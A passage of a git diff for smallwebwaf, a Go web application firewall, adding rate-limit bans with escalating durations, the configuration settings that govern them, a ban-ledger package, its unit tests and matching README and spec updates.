static lists, the three netblock settings below, before anything else, its country included. A client in - `SWWAF_ALLOW_NETS` skips the country lists and the rate limits, and is not - looked up; the timeouts and size limits still apply. A client in - `SWWAF_DENY_NETS` is refused with `403` before its body is read, and the - request is not counted for the rate limits; an address in `SWWAF_ALLOW_NETS` - too is let through. A client in `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither - counted nor refused by the rate limits; the country lists still apply to it. + `SWWAF_ALLOW_NETS` skips bans, the country lists and the rate limits, and is + not looked up; the timeouts and size limits still apply. A client in + `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its body is + read, and the request is not counted for the rate limits; an address in + `SWWAF_ALLOW_NETS` too is let through. A client in + `SWWAF_RATE_LIMIT_EXEMPT_NETS` is neither counted nor refused by the rate + limits; the country lists and bans still apply to it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Writes a line in the request log for each request (see "Request log" below). @@ -133,8 +151,9 @@ it, and the effective settings are logged at start. to send its whole answer, from the end of the request to the last byte. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. -- `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip the country - lists and the rate limits, such as your monitoring or your own networks. +- `SWWAF_ALLOW_NETS` (default empty): netblocks whose clients skip bans, the + country lists and the rate limits, such as your monitoring or your own + networks. - `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients the rate limits do not apply to, such as a machine that talks to the app all day. - `SWWAF_DENY_NETS` (default empty): netblocks whose clients are always refused. @@ -149,6 +168,22 @@ it, and the effective settings are logged at start. countries whose clients get through, for example `us,de`. A client whose country cannot be found is refused too, so that new clients are not let in whenever GeoJS stops answering. +- `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one + that is banned, breaks a rate limit, is in `SWWAF_DENY_NETS` or comes from a + refused country: `403`, `429`, or `close` to close the connection without an + answer. Behind traefik, `close` does not leave the client unanswered: traefik + answers `502`, as it does whenever its backend drops a connection. +- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate + limit. +- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit broken again + within this time after a ban ended bans for three times as long as that ban. +- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban that would be longer is + permanent instead. +- `SWWAF_MAX_BANS` (default `5000`): the most bans kept, past, active and + permanent. +- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): the length of the netblock around + an IPv4 client that a ban covers, such as `24` to ban the surrounding /24. An + IPv6 ban covers the client's /64. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -157,8 +192,8 @@ and a bare address stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches -a timeout, a size limit or a rate limit off; only -`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` cannot be off. +a timeout, a size limit or a rate limit off; +`SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` and the ban settings cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept for the rate limits, and an IPv6 client is counted by its /64. A new client @@ -176,23 +211,27 @@ refused ones included: - `time` is when the request arrived, in UTC. `peer_ip` is the TCP peer, normally traefik. `path` and `query` are as the client sent them. -- `country` is the client's country as GeoJS places it, and empty when it is not - known: with neither country list set, for a client in `SWWAF_ALLOW_NETS` or - `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, - and when GeoJS cannot place the client or has not answered in time. +- `country` is the client's country as GeoJS places it. It is empty with neither + country list set, for a client in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, for + a client on a private, loopback or link-local address, when GeoJS cannot place + the client or has not answered in time, and for a request refused because a + ban covers its client, even when the client's country is known. - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one - refused because its client is in `SWWAF_DENY_NETS`, `country_denied` for one - refused for its client's country, `rate_limited` for one refused for a rate - limit, `too_large` for a request or response over its size limit, `timed_out` - for one that ran out of time, `upstream_error` when the app could not be - reached or its answer broke off, and `admin` for one `smallwebwaf` answered at - its own endpoint. -- `limit_hit` is there for a request refused for a rate limit, and names the + refused because its client is in `SWWAF_DENY_NETS`, `banned` for one refused + because a ban covers its client, `country_denied` for one refused for its + client's country, `rate_limited` for one that broke a rate limit and banned + its client, `too_large` for a request or response over its size limit, + `timed_out` for one that ran out of time, `upstream_error` when the app could + not be reached or its answer broke off, and `admin` for one `smallwebwaf` + answered at its own endpoint. +- `limit_hit` is there for a request that broke a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it - went over several. + went over several. `offence` is then `limit`. +- `ban_expires` is there for a request that made a ban or was refused under one, + and gives when the ban ends, in the same form as `time`, or `permanent`. - `aborted` is there, and true, when the client went away early. - `duration_total` and `duration_upstream_total` are in milliseconds. @@ -309,8 +348,8 @@ goes through the candidates one by one. nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files come in milestone 3 or later (see the build order in [`SPEC.md`](SPEC.md)); - until then the rate counters and the GeoJS answers are kept in memory only, - and a restart loses them. + until then the rate counters, the bans and the GeoJS answers are kept in + memory only, and a restart loses them. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -427,17 +466,18 @@ the metrics, failure behaviour and the build order. So far `smallwebwaf` looks up only the country, only through GeoJS, and only while `SWWAF_DENIED_COUNTRIES` or `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set: -then the address of every new visitor outside `SWWAF_ALLOW_NETS` and -`SWWAF_DENY_NETS` is sent to GeoJS, and with neither set, none is. An IPv6 -visitor is asked about by the first address of its /64. A new visitor waits at -most a second for its answer, and without one counts as coming from an unknown -country until the answer arrives. The addresses waiting are asked about -together, up to 200 in one request, one request at a time; at most 10,000 -visitors wait, and one more counts as coming from an unknown country until there -is room. While GeoJS fails, visitors with a kept answer are unaffected and new -ones count as coming from an unknown country. GeoJS is then left alone for a -second, twice as long after each further failure up to five minutes, and asked -again by the next request that needs it. +then the address of every new visitor is sent to GeoJS, except a visitor in +`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS` and one refused because a ban covers its +netblock, and with neither set, none is. An IPv6 visitor is asked about by the +first address of its /64. A new visitor waits at most a second for its answer, +and without one counts as coming from an unknown country until the answer +arrives. The addresses waiting are asked about together, up to 200 in one +request, one request at a time; at most 10,000 visitors wait, and one more +counts as coming from an unknown country until there is room. While GeoJS fails, +visitors with a kept answer are unaffected and new ones count as coming from an +unknown country. GeoJS is then left alone for a second, twice as long after each +further failure up to five minutes, and asked again by the next request that +needs it. In the full design, `smallwebwaf` looks up the AS number and country of every client, for the request log, the metrics and the ban notes, and for the country @@ -488,8 +528,10 @@ addresses are never sent to GeoJS. standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for - the country lists, for a rate limit, and for an announced body over the size - limit. + a ban, for the country lists, for a rate limit, which bans the client, and for + an announced body over the size limit. +- `internal/bans`: the ban ledger: each netblock's bans with their notes, how + long a new ban lasts, and which ban is dropped when `SWWAF_MAX_BANS` are held. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the answers. - `internal/ratelimit`: counts each client's requests and tells when one takes @@ -503,8 +545,9 @@ addresses are never sent to GeoJS. checks. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the -table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least -recently seen. The country codes are the list in `internal/config/config.go`. +table of clients to 20,000, the GeoJS answers to 100,000 and the banned +netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen. The country +codes are the list in `internal/config/config.go`. ## Entrypoints @@ -544,9 +587,9 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3, from the bans that broken request limits lead to - through the metrics endpoint, and the rest of the design, in the order of the - build order in [`SPEC.md`](SPEC.md). +- The rest of milestone 3, after the bans that broken rate limits lead to and up + to the metrics endpoint, and the rest of the design, in the order of the build + order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/SPEC.md b/SPEC.md index a289a27..9071387 100644 --- a/SPEC.md +++ b/SPEC.md @@ -948,9 +948,9 @@ and the running `smallwebwaf` takes the edit in. - what was broken: the rule ids and target that matched, or the limit, its window, the count reached and the client's limit percentage with what set it; and any reputation sources that listed the client; - - the requests that caused the ban, up to the last ten: time, method, host, - path with its query string, status and user agent, each text cut to 256 - bytes; + - the request that caused the ban, the one that broke the limit or carried + the clear sign of attack: time, method, host, path with its query string, + status and user agent, each text cut to 256 bytes; - how many requests counted toward the ban, and the time span over which they came; - the netblock's total requests since it was first seen, and the requests @@ -961,13 +961,13 @@ and the running `smallwebwaf` takes the edit in. the table is full, so on a public service the file grows to the default `SWWAF_MAX_TRACKED_CLIENTS` of 20,000, about 20 MiB. Written every 15 minutes, that is under 2 GiB of disk writes a day. - - `bans.json` takes about 2 KiB per ban and at most about 8 KiB, since the - texts in the notes are cut short. At the default `SWWAF_MAX_BANS` of 5,000 - it is about 10 MiB, and never more than about 40 MiB, plus whatever bans - an admin made. It is written when a ban is made, lifted or made permanent, - at most once every 10 seconds, and otherwise with the 15-minute write, so - its writes follow the bans made: with a full file, a hundred new bans a - day come to about 1 GiB of disk writes. + - `bans.json` takes about 1.2 KiB per ban and at most about 2.5 KiB, since + the notes hold one request and their texts are cut short. At the default + `SWWAF_MAX_BANS` of 5,000 it is about 6 MiB, and never more than about 12 + MiB, plus whatever bans an admin made. It is written when a ban is made, + lifted or made permanent, at most once every 10 seconds, and otherwise + with the 15-minute write, so its writes follow the bans made: with a full + file, a hundred new bans a day come to about 600 MiB of disk writes. - `lookups.json` takes about 150 bytes per answer, about 15 MiB when full. Written every 15 minutes, that is under 1.5 GiB of disk writes a day. - `reputation.json` and `alerts.json` are usually a few MiB or less. diff --git a/internal/bans/bans.go b/internal/bans/bans.go new file mode 100644 index 0000000..4878cf0 --- /dev/null +++ b/internal/bans/bans.go @@ -0,0 +1,255 @@ +// Package bans is the ban ledger: the bans smallwebwaf makes on the +// netblocks of clients that break a rate limit, with their notes, as the +// "Bans" section of SPEC.md describes. The bans are kept in memory only. +package bans + +import ( + "net/netip" + "slices" + "strings" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" +) + +// repeatFactor is how many times as long as the netblock's last ban a ban +// for a limit broken again within the repeat window lasts. +const repeatFactor = 3 + +// maxTextBytes is how much of each text in a ban's notes is kept. +const maxTextBytes = 256 + +// Rules are how long a ban for a broken limit lasts, and how many bans +// are held. +type Rules struct { + // LimitBanDuration is how long a first ban lasts. + LimitBanDuration time.Duration + // LimitBanRepeatWindow is how soon after the netblock's last ban + // ended a broken limit counts as a repeat, which bans for + // repeatFactor times as long as that ban. + LimitBanRepeatWindow time.Duration + // MaxBanDuration is the longest ban; a ban that would be longer is + // permanent instead. + MaxBanDuration time.Duration + // MaxBans is the most bans held, at least one. Past it, the earliest + // ban of the netblock that has gone longest without a request is + // dropped. + MaxBans int +} + +// Ban is a ban on a netblock for a broken limit, the only kind of ban +// smallwebwaf makes so far. +type Ban struct { + Netblock netip.Prefix + Start time.Time + // Expires is when the ban ends, zero for a permanent ban. + Expires time.Time + Notes Notes +} + +// Permanent reports whether the ban never runs out. +func (b Ban) Permanent() bool { + return b.Expires.IsZero() +} + +// ActiveAt reports whether the ban refuses requests at now. +func (b Ban) ActiveAt(now time.Time) bool { + return b.Permanent() || now.Before(b.Expires) +} + +// Notes are what an admin needs to decide whether to lift a ban. +type Notes struct { + // Country is the client's country, when it was looked up. + Country string + // Limit, Window and Count are the limit that was broken, its window, + // "minute", "hour" or "day", and the count reached: the client's + // requests in the window, the one that broke the limit included. + // These are the requests that counted toward the ban, and the window + // is the time over which they came. + Limit int64 + Window string + Count float64 + // Request is the request that broke the limit. + Request Request + // Refused is how many requests the ban has refused so far. + Refused int64 + // EarlierBans is how many bans the netblock had before this one. + EarlierBans int +} + +// Request is a request in a ban's notes. Each text is cut to 256 bytes. +type Request struct { + Time time.Time + Method string + Host string + // Path is the path with its query string. + Path string + // Status is what the client was sent, 0 if nothing was. + Status int + UserAgent string +} + +// Ledger holds the bans. It is safe for concurrent use. +type Ledger struct { + rules Rules + + mu sync.Mutex + // netblocks holds each banned netblock's bans, oldest first. Each + // request from a netblock makes it the most recently seen. + netblocks *simplelru.LRU[netip.Prefix, *[]Ban] + // held is how many bans netblocks holds, at most rules.MaxBans. + held int +} + +// New returns a Ledger with no ban yet. +func New(rules Rules) *Ledger { + // Every netblock held has a ban, so there are never more netblocks + // than rules.MaxBans, and the LRU never drops one itself. + netblocks, err := simplelru.NewLRU[netip.Prefix, *[]Ban](rules.MaxBans, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + return &Ledger{rules: rules, netblocks: netblocks} +} + +// Check is called for each request from netblock, at now. It reports +// whether a ban on netblock is active, and returns that ban, with the +// request counted among those it refused. +func (l *Ledger) Check(netblock netip.Prefix, now time.Time) (Ban, bool) { + l.mu.Lock() + defer l.mu.Unlock() + + bans, found := l.netblocks.Get(netblock) + if !found { + return Ban{}, false + } + + // A ban is made only once the one before has ended, so only the last + // can be active. + last := &(*bans)[len(*bans)-1] + if !last.ActiveAt(now) { + return Ban{}, false + } + + last.Notes.Refused++ + + return *last, true +} + +// BanForLimit bans netblock at now for a broken limit, with notes, and +// returns the ban. A first ban lasts LimitBanDuration. A ban made within +// LimitBanRepeatWindow after the netblock's last ban ended lasts +// repeatFactor times as long as that one. A ban that would be longer +// than MaxBanDuration is permanent instead. If a ban on netblock is still +// active, as when two of its requests break a limit at once, that ban is +// returned and no other is made. The ledger fills in the notes' Refused +// and EarlierBans itself. +func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Ban { + l.mu.Lock() + defer l.mu.Unlock() + + var last *Ban + + bans, found := l.netblocks.Get(netblock) + if found { + last = &(*bans)[len(*bans)-1] + if last.ActiveAt(now) { + return *last + } + + notes.EarlierBans = last.Notes.EarlierBans + 1 + } + + notes.Request = notes.Request.cut() + ban := Ban{ + Netblock: netblock, + Start: now, + Expires: l.expiry(last, now), + Notes: notes, + } + + if l.held == l.rules.MaxBans { + l.dropOne() + } + + // dropOne can have dropped netblock's last ban, and netblock with it. + bans, found = l.netblocks.Peek(netblock) + if !found { + bans = &[]Ban{} + l.netblocks.Add(netblock, bans) + } + + *bans = append(*bans, ban) + l.held++ + + return ban +} + +// Bans returns the bans held on netblock, oldest first. It is not a +// request from netblock, and leaves when it was last seen unchanged. +func (l *Ledger) Bans(netblock netip.Prefix) []Ban { + l.mu.Lock() + defer l.mu.Unlock() + + bans, found := l.netblocks.Peek(netblock) + if !found { + return nil + } + + return slices.Clone(*bans) +} + +// expiry returns when a ban for a broken limit made at now ends, or zero +// when it is permanent. last is the netblock's last ban, which has ended, +// or nil when it has none. +func (l *Ledger) expiry(last *Ban, now time.Time) time.Time { + length := l.rules.LimitBanDuration + + if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow { + lastLength := last.Expires.Sub(last.Start) + // This is repeatFactor * lastLength > MaxBanDuration, written so + // that it cannot overflow. + if lastLength > l.rules.MaxBanDuration/repeatFactor { + return time.Time{} + } + + length = repeatFactor * lastLength + } + + if length > l.rules.MaxBanDuration { + return time.Time{} + } + + return now.Add(length) +} + +// dropOne drops the earliest ban of the netblock that has gone longest +// without a request, and the netblock with it if that was its only ban. +func (l *Ledger) dropOne() { + netblock, bans, _ := l.netblocks.GetOldest() + if len(*bans) == 1 { + l.netblocks.Remove(netblock) + } else { + *bans = slices.Delete(*bans, 0, 1) + } + + l.held-- +} + +// cut returns r with each text cut to maxTextBytes and copied, so that +// the notes do not keep the rest of the request in memory. +func (r Request) cut() Request { + r.Method = cutText(r.Method) + r.Host = cutText(r.Host) + r.Path = cutText(r.Path) + r.UserAgent = cutText(r.UserAgent) + + return r +} + +// cutText returns a copy of the first maxTextBytes of text. +func cutText(text string) string { + return strings.Clone(text[:min(len(text), maxTextBytes)]) +} diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go new file mode 100644 index 0000000..f0394ef --- /dev/null +++ b/internal/bans/bans_test.go @@ -0,0 +1,267 @@ +package bans_test + +import ( + "net/netip" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" +) + +const day = 24 * time.Hour + +func TestRepeatsTripleUntilPermanent(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + now := midnight() + + // Each ban is followed by another as soon as it ends: 1, 3, 9, 27 and + // 81 hours. + for i, hours := range []int{1, 3, 9, 27, 81} { + ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + + length := time.Duration(hours) * time.Hour + if !ban.Expires.Equal(now.Add(length)) || ban.Notes.EarlierBans != i { + t.Fatalf("ban %d lasts %s with %d earlier bans, want %d hours and %d", + i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i) + } + + now = ban.Expires + } + + // The sixth would last 243 hours, more than seven days: it is + // permanent, and never ends. + ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + if !ban.Permanent() { + t.Fatalf("sixth ban ends at %s, want a permanent one", ban.Expires) + } + + _, banned := ledger.Check(netblock, now.Add(100*365*day)) + if !banned { + t.Error("a permanent ban ended") + } +} + +func TestRepeatWindowRunsOut(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + // gap is the time between the end of the first ban and the second. + gap time.Duration + want time.Duration + }{ + {"broken again as the window ends", day, 3 * time.Hour}, + {"broken again after the window", day + time.Nanosecond, time.Hour}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) + + if second.Expires.Sub(second.Start) != tc.want || second.Notes.EarlierBans != 1 { + t.Errorf("second ban lasts %s with %d earlier bans, want %s and 1", + second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want) + } + }) + } +} + +func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { + t.Parallel() + + rules := defaultRules() + rules.LimitBanDuration = rules.MaxBanDuration + time.Hour + ledger := bans.New(rules) + + ban := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), + bans.Notes{}) + if !ban.Permanent() { + t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) + } +} + +func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { + t.Parallel() + + // With bans of up to 100,000 days, the 14th ban in a row, of 3^13 + // hours, is within the maximum, and three times as long would not fit + // in a time.Duration. The 15th is permanent. + rules := defaultRules() + rules.MaxBanDuration = 100000 * day + ledger := bans.New(rules) + netblock := netip.MustParsePrefix("203.0.113.9/32") + now := midnight() + + for i := range 14 { + ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + if !ban.Expires.After(ban.Start) { + t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires) + } + + now = ban.Expires + } + + ban := ledger.BanForLimit(netblock, now, bans.Notes{}) + if !ban.Permanent() { + t.Errorf("15th ban ends at %s, want a permanent one", ban.Expires) + } +} + +func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + again := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + + if again != first || len(ledger.Bans(netblock)) != 1 { + t.Errorf("a limit broken during a ban gave %+v and %d bans, want %+v and 1", + again, len(ledger.Bans(netblock)), first) + } +} + +func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + + for range 3 { + got, banned := ledger.Check(netblock, ban.Expires.Add(-time.Nanosecond)) + if !banned || got.Start != ban.Start { + t.Fatalf("check during the ban gives %+v and %t", got, banned) + } + } + + _, banned := ledger.Check(netip.MustParsePrefix("203.0.113.10/32"), midnight()) + if banned { + t.Error("another netblock is banned") + } + + _, banned = ledger.Check(netblock, ban.Expires) + if banned { + t.Error("the ban did not end") + } + + refused := ledger.Bans(netblock)[0].Notes.Refused + if refused != 3 { + t.Errorf("the notes count %d refused requests, want 3", refused) + } +} + +func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { + t.Parallel() + + rules := defaultRules() + rules.MaxBans = 3 + ledger := bans.New(rules) + a := netip.MustParsePrefix("203.0.113.1/32") + b := netip.MustParsePrefix("203.0.113.2/32") + c := netip.MustParsePrefix("203.0.113.3/32") + d := netip.MustParsePrefix("2001:db8::/64") + now := midnight() + + first := ledger.BanForLimit(a, now, bans.Notes{}) + ledger.BanForLimit(b, now, bans.Notes{}) + ledger.BanForLimit(c, now, bans.Notes{}) + + // A request from a makes b the netblock seen longest ago, and its ban + // goes to make room for d's. + ledger.Check(a, now) + ledger.BanForLimit(d, now, bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 0, c: 1, d: 1}) + + // a is banned again once its ban has ended; c, seen longest ago, goes. + ledger.BanForLimit(a, first.Expires, bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{a: 2, c: 0, d: 1}) + + // With d seen since, a is seen longest ago, and its earlier ban goes + // first. + ledger.Check(d, first.Expires) + ledger.BanForLimit(b, first.Expires, bans.Notes{}) + wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) + + if !ledger.Bans(a)[0].Start.Equal(first.Expires) { + t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start) + } +} + +func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { + t.Parallel() + + // With room for one ban, the netblock's ended ban goes to make room for + // its new one, whose notes still count it. + rules := defaultRules() + rules.MaxBans = 1 + ledger := bans.New(rules) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) + + held := ledger.Bans(netblock) + if len(held) != 1 || held[0] != second || held[0].Notes.EarlierBans != 1 { + t.Errorf("the ledger holds %+v, want only the second ban, with 1 earlier ban", + held) + } +} + +func TestRequestTextsAreCutTo256Bytes(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + long := strings.Repeat("a", 300) + request := bans.Request{ + Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, + } + + ban := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) + + cut := long[:256] + want := bans.Request{ + Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, + } + + if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want { + t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request) + } +} + +// defaultRules are the rules at the settings' defaults. +func defaultRules() bans.Rules { + return bans.Rules{ + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: day, + MaxBanDuration: 7 * day, + MaxBans: 5000, + } +} + +// midnight is when the tests' first bans are made. +func midnight() time.Time { + return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) +} + +// wantBans checks how many bans the ledger holds on each netblock. +func wantBans(t *testing.T, ledger *bans.Ledger, want map[netip.Prefix]int) { + t.Helper() + + for netblock, count := range want { + got := len(ledger.Bans(netblock)) + if got != count { + t.Errorf("%s has %d bans, want %d", netblock, got, count) + } + } +} diff --git a/internal/config/config.go b/internal/config/config.go index 065700d..37c4351 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -9,6 +9,7 @@ import ( "log/slog" "math" "net" + "net/http" "net/netip" "net/url" "slices" @@ -74,6 +75,25 @@ type Config struct { // capitals, as GeoJS gives them. DeniedCountries []string ExclusivelyAllowedCountries []string + // BanResponse is the status a refused client is answered with, 403 + // or 429, or 0 to close the connection without an answer + // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that + // breaks a rate limit, SWWAF_DENY_NETS and the country lists. + BanResponse int + // LimitBanDuration is the ban for a first broken rate limit + // (SWWAF_LIMIT_BAN_DURATION). A limit broken again within + // LimitBanRepeatWindow after the last ban ended bans for three times + // as long as that ban (SWWAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that + // would be longer than MaxBanDuration is permanent instead + // (SWWAF_MAX_BAN_DURATION). None of them can be off. + LimitBanDuration time.Duration + LimitBanRepeatWindow time.Duration + MaxBanDuration time.Duration + // MaxBans is the most bans held (SWWAF_MAX_BANS). + MaxBans int + // BanScopeV4Prefix is the length of the netblock around an IPv4 + // client that a ban covers (SWWAF_BAN_SCOPE_V4_PREFIX). + BanScopeV4Prefix int // settings are the values read, as given or by default, for the // log line at start. @@ -89,6 +109,7 @@ const ( kibibyte = 1 << 10 mebibyte = 1 << 20 gibibyte = 1 << 30 + ipv4Bits = 32 ) var ( @@ -109,8 +130,15 @@ var ( "such as http://127.0.0.1:8081") errNotCountry = errors.New( "is not a two-letter country code such as de or kp") - errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") - errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") + errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") + errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") + errNotDurationAboveZero = errors.New( + "is not a duration above zero, such as 1h or 7d") + errNotNumberAboveZero = errors.New( + "is not a whole number above zero, such as 5000") + errNotBanResponse = errors.New("is not 403, 429 or close") + errNotV4Prefix = errors.New( + "is not the length of an IPv4 netblock, from 0 to 32, such as 24") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -140,6 +168,12 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), ExclusivelyAllowedCountries: env.countries( "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), + BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), + LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), + LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), + MaxBanDuration: env.durationNotOff("SWWAF_MAX_BAN_DURATION", "7d"), + MaxBans: env.numberNotOff("SWWAF_MAX_BANS", "5000"), + BanScopeV4Prefix: env.v4Prefix("SWWAF_BAN_SCOPE_V4_PREFIX", "32"), } for _, country := range cfg.ExclusivelyAllowedCountries { @@ -261,6 +295,40 @@ func (e *environment) countries(name, defaultValue string) []string { return countries } +// durationNotOff reads a setting that is a duration and, unlike a +// timeout, cannot be off. +func (e *environment) durationNotOff(name, defaultValue string) time.Duration { + duration, err := parseDurationNotOff(e.value(name, defaultValue)) + e.check(name, err) + + return duration +} + +// numberNotOff reads a setting that is a whole number above zero, which +// cannot be off. +func (e *environment) numberNotOff(name, defaultValue string) int { + number, err := parseNumberNotOff(e.value(name, defaultValue)) + e.check(name, err) + + return number +} + +// banResponse reads a setting that is how a refused client is answered. +func (e *environment) banResponse(name, defaultValue string) int { + status, err := parseBanResponse(e.value(name, defaultValue)) + e.check(name, err) + + return status +} + +// v4Prefix reads a setting that is the length of an IPv4 netblock. +func (e *environment) v4Prefix(name, defaultValue string) int { + length, err := parseV4Prefix(e.value(name, defaultValue)) + e.check(name, err) + + return length +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { @@ -362,6 +430,52 @@ func parseCount(value string) (int64, error) { return n, nil } +// parseDurationNotOff reads a duration above zero, as parseDuration does, +// but not off. +func parseDurationNotOff(value string) (time.Duration, error) { + duration, err := parseDuration(value) + if err != nil || duration == 0 { + return 0, fmt.Errorf("%q %w", value, errNotDurationAboveZero) + } + + return duration, nil +} + +// parseNumberNotOff reads a whole number above zero. +func parseNumberNotOff(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotNumberAboveZero) + } + + return n, nil +} + +// parseBanResponse reads how a refused client is answered: 403, 429, or +// close, which is 0. +func parseBanResponse(value string) (int, error) { + switch value { + case "403": + return http.StatusForbidden, nil + case "429": + return http.StatusTooManyRequests, nil + case "close": + return 0, nil + default: + return 0, fmt.Errorf("%q %w", value, errNotBanResponse) + } +} + +// parseV4Prefix reads the length of an IPv4 netblock, from 0 to 32. +func parseV4Prefix(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n < 0 || n > ipv4Bits { + return 0, fmt.Errorf("%q %w", value, errNotV4Prefix) + } + + return n, nil +} + // parseList splits a comma-separated list and trims the spaces around // each item. An empty value is an empty list. func parseList(value string) ([]string, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 1fabaf8..b48b379 100644 